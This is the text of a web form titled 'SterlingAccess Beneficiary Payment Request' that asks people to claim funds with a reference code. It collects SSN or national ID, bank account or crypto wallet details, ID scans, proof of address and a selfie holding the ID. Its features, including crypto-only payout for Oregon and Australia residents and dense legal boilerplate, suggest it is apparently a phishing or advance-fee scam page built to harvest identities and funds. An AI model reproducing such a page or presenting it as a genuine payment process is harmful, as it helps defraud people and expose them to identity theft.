SterlingAccess — Beneficiary Payment Request

Claim Verification

Enter your claim reference and payment details

Claim / Reference Code

Reference code is required. Provided by the issuing company or institution

Payment Purpose / Category Please select a payment purpose.

Important: This portal is exclusively for verified beneficiaries of SterlingAccess partner institutions. Ensure all information provided is accurate and matches official records. Fraudulent submissions are prosecutable under international banking law.

Personal Identity

Your legal name and identification details

First Name Required.

Middle Name (optional)

Last Name Required.

Date of Birth Required.

Nationality / Citizenship

Required.

SSN / TIN / National ID No.

Encrypted and stored securely

Occupation / Profession Required.

Contact & Address

Your current contact information and residential address

Email Address

Valid email required.

Phone Number

Required.

Street Address

Required.

City Required.

State / Region

ZIP / Postal Code

Country

Required.

Payment Information

Choose how you wish to receive your funds

Oregon & Australia Residents: Due to current banking restrictions, Cryptocurrency is the only available payment method for your jurisdiction. Please select Cryptocurrency below and provide your wallet details.

Select Payment Method

Bank Transfer

Wire transfer directly to your bank account (SWIFT / ACH / IBAN)

Cryptocurrency

Receive funds as BTC, ETH, USDT or other digital assets

Bank Name

Required.

Branch / Location (optional)

Account Holder Name Required.

Account Type Required.

Account Number

Required. Encrypted — never stored in plain text

Routing / Sort Code (US/UK)

SWIFT / BIC Code (International)

IBAN (Europe)

Bank Address (optional)

Provide your wallet address exactly as shown in your wallet application. Double-check every character — cryptocurrency transactions are irreversible.

Cryptocurrency

🪙 — Select Asset —

Please select a cryptocurrency.

Network / Chain Must match the asset above — funds sent to wrong network are permanently lost

Wallet Address

Required. Verify carefully — crypto payments cannot be reversed or recalled

Accepted: BTC ETH ₮ USDT ◎ SOL + more

Identity Documents

Upload supporting documents for verification

Government-Issued ID

Passport, Driver's License or National ID

Any photo or PDF — all sizes accepted

Must be valid, government-issued, and clearly legible

Proof of Address

Utility Bill, Bank Statement or Lease Agreement

Any photo or PDF · Dated within 90 days

Must show your name and residential address

Selfie Verification REQUIRED

Selfie Holding Your Government-Issued ID

Any photo — all sizes accepted · Face and ID must be clearly visible

Hold your ID next to your face — both must be clearly visible and unobstructed

Invoice / Contract (optional)

Contract, Invoice or Agreement

Photo, PDF or DOC — all sizes accepted

The document authorizing this payment claim

Additional Supporting Document (optional)

Court Order, Trust Deed, Power of Attorney, etc.

Photo, PDF or DOC — all sizes accepted

Any additional document supporting your claim

Documents are encrypted with AES-256 and stored on secure servers compliant with GDPR and international data protection regulations. They are used solely for identity and AML/KYC verification and will not be shared with third parties without your consent.

Review & Submit

Verify your details before submitting your claim

AML / KYC Declaration

Source of Funds: I confirm that the funds I am claiming originate from a legitimate, lawful source and are not the proceeds of criminal activity, money laundering, terrorism financing, or any other illegal enterprise.

Beneficial Ownership: I confirm that I am the true and ultimate beneficial owner of the funds claimed, or I have explicit legal authority to act on behalf of the beneficial owner, and I have disclosed this in the relevant fields above.

Politically Exposed Person (PEP): I have truthfully disclosed whether I am a current or former Politically Exposed Person, a family member of a PEP, or a close associate of a PEP, as required under FATF Recommendation 12.

Sanctions Compliance: I confirm that I am not subject to any applicable international sanctions (OFAC, UN, EU, or UK) and that processing this claim will not violate any applicable sanction regulation or anti-terrorism financing law.

Regulatory Accuracy: I certify that all information submitted in this form is accurate, complete, and matches my official identity records. I understand that knowingly submitting false information constitutes fraud and may result in criminal prosecution.

Digital Signature

Draw your signature in the box below using your mouse or finger.

Sign here

By drawing your signature above you are applying your legally binding electronic signature to all declarations on this form, as permitted under the ESIGN Act (US), eIDAS Regulation (EU), and equivalent international statutes.

Regulatory Compliance

I confirm that my beneficiary details (name, ID, account information) have been verified and match the information held in official regulatory records, as required under the Financial Action Task Force (FATF) guidelines and local KYC/CDD requirements. I consent to SterlingAccess processing my personal data for identity verification, AML screening, and payment processing purposes in accordance with applicable data protection law. I understand I may withdraw consent at any time by contacting support@sterlingaccess.de. I have read and accept the Terms & Conditions and Privacy Policy. I understand that submitting false or misleading information may result in claim rejection and criminal liability.

Security check — solve this to prove you're human:

16 + 29 =

Email Verification

A 6-digit code will be sent to your registered email address. You must verify it before submitting.

Email Verified

SterlingAccessBeneficiary Payment Request

SterlingAccess
Beneficiary Payment Request